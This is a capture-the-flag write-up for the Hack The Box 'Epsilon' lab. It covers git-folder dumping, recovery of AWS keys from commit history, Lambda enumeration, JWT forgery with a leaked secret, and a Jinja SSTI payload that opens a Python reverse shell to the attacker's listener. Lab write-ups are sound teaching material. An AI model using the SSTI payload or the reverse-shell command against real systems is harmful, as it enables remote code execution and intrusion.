HTB 2021 Uni CTF Quals - Epsilon writeup

Medium Cloud

 TLDR

 nmap

As always we start with a nmap scan:

➜ nmap -sC -sV 10.129.96.99
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-20 15:42 EST
Nmap scan report for 10.129.96.99
Host is up (0.013s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp   open  http    Apache httpd 2.4.41
| http-git: 
|   10.129.96.99:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Updating Tracking API  # Please enter the commit message for...
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: 403 Forbidden
5000/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-server-header: Werkzeug/2.0.2 Python/3.8.10
|_http-title: Costume Shop
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

 gobuster

Because port 5000 is a website (probably Flask because of Werkzeug), we run a gobuster scan:

gobuster dir --url "http://epsilon.htb:5000" -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50 -x txt,php  
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://epsilon.htb:5000
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt,php
[+] Timeout:                 10s
===============================================================
2021/11/20 16:23:08 Starting gobuster in directory enumeration mode
===============================================================
/home                 (Status: 302) [Size: 208] [--> http://epsilon.htb:5000/]
/order                (Status: 302) [Size: 208] [--> http://epsilon.htb:5000/]
/track                (Status: 200) [Size: 4288]                              
                                                                              
===============================================================

 git repository

nmap found the following on port 80:

| http-git: 
|   10.129.96.99:80/.git/
|     Git repository found!

An excellent tool for extracting content from a hosted .git/ folder, is githacker:

➜ githacker --url http://10.129.96.99/.git/ --folder port-80-git
2021-11-22 09:19:37 INFO Downloading basic files...
2021-11-22 09:19:37 INFO [92 bytes] 200 .git/config
2021-11-22 09:19:37 ERROR [274 bytes] 404 .git/FETCH_HEAD
2021-11-22 09:19:37 INFO [73 bytes] 200 .git/description
2021-11-22 09:19:37 INFO [296 bytes] 200 .git/COMMIT_EDITMSG
2021-11-22 09:19:37 INFO [23 bytes] 200 .git/HEAD
2021-11-22 09:19:37 INFO [478 bytes] 200 .git/hooks/applypatch-msg.sample
[snip]
2021-11-22 09:19:39 INFO [582 bytes] 200 .git/objects/fe/d7ab97cf361914f688f0e4f2d3adfafd1d7dca
2021-11-22 09:19:39 INFO [582 bytes] 200 .git/objects/fe/d7ab97cf361914f688f0e4f2d3adfafd1d7dca
2021-11-22 09:19:39 INFO [527 bytes] 200 .git/objects/54/5f6fe2204336c1ea21720cbaa47572eb566e34
2021-11-22 09:19:39 INFO [527 bytes] 200 .git/objects/54/5f6fe2204336c1ea21720cbaa47572eb566e34
Checking object directories: 100% (256/256), done.
error: HEAD: invalid reflog entry ce401ccecf421ff19bf43fafe8a60a0d0f0682d0
error: HEAD: invalid reflog entry ce401ccecf421ff19bf43fafe8a60a0d0f0682d0
error: HEAD: invalid reflog entry 5c52105750831385d4756111e1103957ac599d02
error: HEAD: invalid reflog entry 5c52105750831385d4756111e1103957ac599d02
2021-11-22 09:19:39 INFO Cloning downloaded repo from /tmp/tmptliqaed4 to port-80-git
2021-11-22 09:19:39 INFO Check it out: port-80-git

We now have the .git repository in our local folder port-80-git/. The source code contains the routes of a Flask application. If we check the history of the repository with git log, we see some commits. By just comparing all commits with their parent commits, we have found the following interesting content:

➜ git diff c622771686bd74c16ece91193d29f85b5f9ffa91 7cf92a7a09e523c1c667d13847c9ba22464412f3
diff --git a/track_api_CR_148.py b/track_api_CR_148.py
index 8d3b52e..fed7ab9 100644
--- a/track_api_CR_148.py
+++ b/track_api_CR_148.py
@@ -5,11 +5,11 @@ from boto3.session import Session
 
 
 session = Session(
-    aws_access_key_id='<aws_access_key_id>',
-    aws_secret_access_key='<aws_secret_access_key>',
+    aws_access_key_id='AQLA5M37BDN6FJP76TDC',
+    aws_secret_access_key='OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A',
     region_name='us-east-1',
-    endpoint_url='http://cloud.epsilon.htb')
-aws_lambda = session.client('lambda')
+    endpoint_url='http://cloud.epsilong.htb')
+aws_lambda = session.client('lambda')

So now we have AWS credentials and we know a new vhost: cloud.epsilon.htb hosted on port 80. There is another secret in the code used for signing the JWT, but unfortunately this is not in the git repository so we can not forge cookies (yet). In order to interact with the AWS API, we need the AWS CLI and we need to configure it:

✗  aws configure
AWS Access Key ID [None]: AQLA5M37BDN6FJP76TDC
AWS Secret Access Key [None]: OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A
Default region name [None]: us-east-1
Default output format [None]:

From the source we have extracted, we know from session.client('lambda') that the AWS API does have a lambda function. Going through aws help we find the aws lambda functionality. With aws lambda help again we find the aws lambda list-functions method. However, AWS complained that it doesn’t know where the API is hosted, so we have to define it explicitely with --endpoint-url=http://cloud.epsilon.htb/.

✗  aws --endpoint-url=http://cloud.epsilon.htb/ lambda list-functions
{
    "Functions": [
        {
            "FunctionName": "costume_shop_v1",
            "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
            "Runtime": "python3.7",
            "Role": "arn:aws:iam::123456789012:role/service-role/dev",
            "Handler": "my-function.handler",
            "CodeSize": 478,
            "Description": "",
            "Timeout": 3,
            "LastModified": "2021-11-21T14:38:10.553+0000",
            "CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
            "Version": "$LATEST",
            "VpcConfig": {},
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "2c84c0b6-df38-441d-a88d-ff51679c32e6",
            "State": "Active",
            "LastUpdateStatus": "Successful",
            "PackageType": "Zip"
        }
    ]
}

From this we know that the lambda function costume_shop_v1 exists. We can query some more information with aws lambda get-function:

➜ aws --endpoint-url=http://cloud.epsilon.htb/ lambda get-function --function-name costume_shop_v1
{
    "Configuration": {
        "FunctionName": "costume_shop_v1",
        "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
        "Runtime": "python3.7",
        "Role": "arn:aws:iam::123456789012:role/service-role/dev",
        "Handler": "my-function.handler",
        "CodeSize": 478,
        "Description": "",
        "Timeout": 3,
        "LastModified": "2021-11-21T14:38:10.553+0000",
        "CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
        "Version": "$LATEST",
        "VpcConfig": {},
        "TracingConfig": {
            "Mode": "PassThrough"
        },
        "RevisionId": "2c84c0b6-df38-441d-a88d-ff51679c32e6",
        "State": "Active",
        "LastUpdateStatus": "Successful",
        "PackageType": "Zip"
    },
    "Code": {
        "Location": "http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code"
    },
    "Tags": {}
}

Now we have found some new information: the lambda function code is hosted at http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code. Downloading and unzipping it gives the following lambda_function.py file:

import json

secret='RrXCv`mrNe!K!4+5`wYq' #apigateway authorization for CR-124

'''Beta release for tracking'''
def lambda_handler(event, context):
    try:
        id=event['queryStringParameters']['order_id']
        if id:
            return {
               'statusCode': 200,
               'body': json.dumps(str(resp)) #dynamodb tracking for CR-342
            }
        else:
            return {
                'statusCode': 500,
                'body': json.dumps('Invalid Order ID')
            }
    except:
        return {
                'statusCode': 500,
                'body': json.dumps('Invalid Order ID')
            }

We have found a new secret! The comment says that it is used for the apigateway authorization and it has the exact same name as the JWT secret variable, so maybe we can forge our own cookie with it. Looking at the source code from the git repository, we see that that for authorization we only need {"username":"admin"} signed to be authenticated. We can easily do that with this CyberChef recipe. Setting the following cookie with the signed JWT, we are authorized:

We can now visit some more endpoints, for example the /order endpoint:

Since it is a Flask application, we can safely assume that we are looking for a Server Side Template Injection. So we are looking for text reflected on the webpage. Placing an order showed the following text: with the following request

POST /order HTTP/1.1
Host: 10.129.96.99:5000
[snip]
Referer: http://10.129.96.99:5000/order
Cookie: auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjM3NTcyNTAyfQ.WaxcZcvA4p0SLLdeySR_w_NylBQ91LTx7sJsRN-HG4Q
Upgrade-Insecure-Requests: 1

costume=glasses&q=1&addr=2

We see that the word ‘glasses’ is reflected in the webpage. Replacing glasses in the HTTP request with {{7*'7'}}1 resulted in 7777777 instead of {{7*'7'}}, so we have code execution!

We easily get a reverse shell with using the following payload from HackTricks2:

POST /order?input=python3+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("[my+ip]",4444))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3bos.dup2(s.fileno(),2)%3bimport+pty%3b+pty.spawn("sh")' HTTP/1.1
Host: cloud.epsilon.htb:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 220
Origin: http://cloud.epsilon.htb:5000
DNT: 1
Connection: close
Referer: http://cloud.epsilon.htb:5000/order
Cookie: auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjM3NTA2NjM2fQ.P5d9GL3v6PHO2aNmPxpDNsCm3a4jo5z9CPplIfUNJTo
Upgrade-Insecure-Requests: 1

costume={%25+for+x+in+().__class__.__base__.__subclasses__()+%25}{%25+if+"warning"+in+x.__name__+%25}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%25endif%25}{%25endfor%25}&q=1&addr=2

And now we have a shell and we find the flag in the parent directory of the application.

➜ nc -lnvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.96.99.
Ncat: Connection from 10.129.96.99:52098.
$ ls -al
ls -al
total 20
drwxr-xr-x 4 root root 4096 Nov 17 17:00 .
drwxr-xr-x 4 root root 4096 Nov 17 10:14 ..
-rw-r--r-- 1 root root 1690 Nov 17 05:51 app.py
drwxr-xr-x 3 root root 4096 Nov 16 19:16 static
drwxr-xr-x 2 root root 4096 Nov 17 03:29 templates
$ cd ../
cd ../
$ ls -al
ls -al
total 20
drwxr-xr-x  4 root root 4096 Nov 17 10:14 .
drwxr-xr-x 14 root root 4096 Nov 16 16:50 ..
drwxr-xr-x  4 root root 4096 Nov 17 17:00 app
-rw-r--r--  1 root root   28 Nov 17 10:14 flag.txt
drwxr-xr-x  3 root root 4096 Nov 17 17:45 html
$ cat flag.txt
cat flag.txt
HTB{l4mbd4_l34ks_4r3_fun!!!}$

HTB{l4mbd4_l34ks_4r3_fun!!!}


  1. This payload is retrieved from the HackTricks SSTI page ↩︎

  2. This is the second payload from “Exploit the SSTI by calling Popen without guessing the offset” from HackTricks ↩︎